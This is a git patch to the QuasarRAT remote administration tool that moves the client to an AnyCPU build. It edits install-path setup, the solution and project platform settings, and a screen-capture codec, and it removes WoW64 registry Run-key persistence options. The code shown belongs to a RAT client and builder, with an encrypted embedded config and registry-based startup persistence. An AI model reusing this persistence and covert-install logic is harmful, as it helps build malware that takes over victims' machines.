From e6aedc4e6326b06bdd8efb01443699b78b2a42c7 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 11:27:04 +0200 Subject: [PATCH] Switch client to AnyCPU target platform --- Quasar.Client/Config/Settings.cs | 23 ++---------- Quasar.Client/Quasar.Client.csproj | 11 +++--- Quasar.Common/Enums/StartupType.cs | 2 -- .../Video/Codecs/UnsafeStreamCodec.cs | 14 ++++++-- Quasar.Server/Forms/FrmBuilder.cs | 8 ++--- Quasar.Server/Forms/FrmStartupAdd.cs | 2 -- Quasar.Server/Forms/FrmStartupManager.cs | 7 ---- QuasarRAT.sln | 36 +++++++++---------- 8 files changed, 40 insertions(+), 63 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 5f5b1d2d..e9caa89a 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,5 +1,4 @@ using Quasar.Common.Cryptography; -using Quasar.Common.Helpers; using System; using System.IO; using System.Security.Cryptography; @@ -41,7 +40,7 @@ public static class Settings public static bool Initialize() { - FixDirectory(); + SetupPaths(); return true; } #else @@ -83,31 +82,15 @@ public static bool Initialize() LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); - FixDirectory(); + SetupPaths(); return VerifyHash(); } #endif - static void FixDirectory() + static void SetupPaths() { - // set up paths LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); - - if (PlatformHelper.Is64Bit) return; - - // https://msdn.microsoft.com/en-us/library/system.environment.specialfolder(v=vs.110).aspx - switch (SPECIALFOLDER) - { - case Environment.SpecialFolder.ProgramFilesX86: - SPECIALFOLDER = Environment.SpecialFolder.ProgramFiles; - break; - case Environment.SpecialFolder.SystemX86: - SPECIALFOLDER = Environment.SpecialFolder.System; - break; - } - - DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); } static bool VerifyHash() diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index f6a7727f..96399967 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -5,18 +5,20 @@ Client true false - x86 + AnyCPU - + ..\bin\Debug\ true portable true + AnyCPU - + none ..\bin\Release\ true + AnyCPU Quasar.Client.Program @@ -25,11 +27,8 @@ app.manifest - - - diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs index 9ca84880..9113ed7c 100644 --- a/Quasar.Common/Enums/StartupType.cs +++ b/Quasar.Common/Enums/StartupType.cs @@ -6,8 +6,6 @@ public enum StartupType LocalMachineRunOnce, CurrentUserRun, CurrentUserRunOnce, - LocalMachineWoW64Run, - LocalMachineWoW64RunOnce, StartMenu } } diff --git a/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs index 3cc462a7..24511b93 100644 --- a/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs +++ b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -84,7 +84,17 @@ protected virtual void Dispose(bool disposing) { lock (_imageProcessLock) { - byte* pScan0 = (byte*)scan0.ToInt32(); + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*) scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } if (!outStream.CanWrite) { @@ -367,4 +377,4 @@ public Bitmap DecodeData(Stream inStream) return _decodedBitmap; } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index f00f220e..083abe0b 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -423,16 +423,12 @@ private void RefreshPreviewPath() path = Path.Combine( Path.Combine( - Environment.GetFolderPath(PlatformHelper.Is64Bit - ? Environment.SpecialFolder.ProgramFilesX86 - : Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); else if (rbSystem.Checked) path = Path.Combine( Path.Combine( - Environment.GetFolderPath(PlatformHelper.Is64Bit - ? Environment.SpecialFolder.SystemX86 - : Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); + Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); } diff --git a/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs index 3866d919..032be431 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -39,8 +39,6 @@ private void AddTypes() cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); - cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"); - cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); cmbType.SelectedIndex = 0; } diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index a5ce2d3e..1936de56 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -123,13 +123,6 @@ private void AddGroups() lstStartupItems.Groups.Add( new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") {Tag = StartupType.CurrentUserRunOnce}); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") - {Tag = StartupType.LocalMachineWoW64Run}); - lstStartupItems.Groups.Add( - new ListViewGroup( - "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") - {Tag = StartupType.LocalMachineWoW64RunOnce}); lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") {Tag = StartupType.StartMenu}); } diff --git a/QuasarRAT.sln b/QuasarRAT.sln index 1754b749..ec2deab9 100644 --- a/QuasarRAT.sln +++ b/QuasarRAT.sln @@ -13,26 +13,26 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quas EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Mixed Platforms = Debug|Mixed Platforms - Release|Mixed Platforms = Release|Mixed Platforms + Debug|AnyCPU = Debug|AnyCPU + Release|AnyCPU = Release|AnyCPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.Build.0 = Debug|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.ActiveCfg = Release|x86 - {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.Build.0 = Release|x86 - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.Build.0 = Release|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU - {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE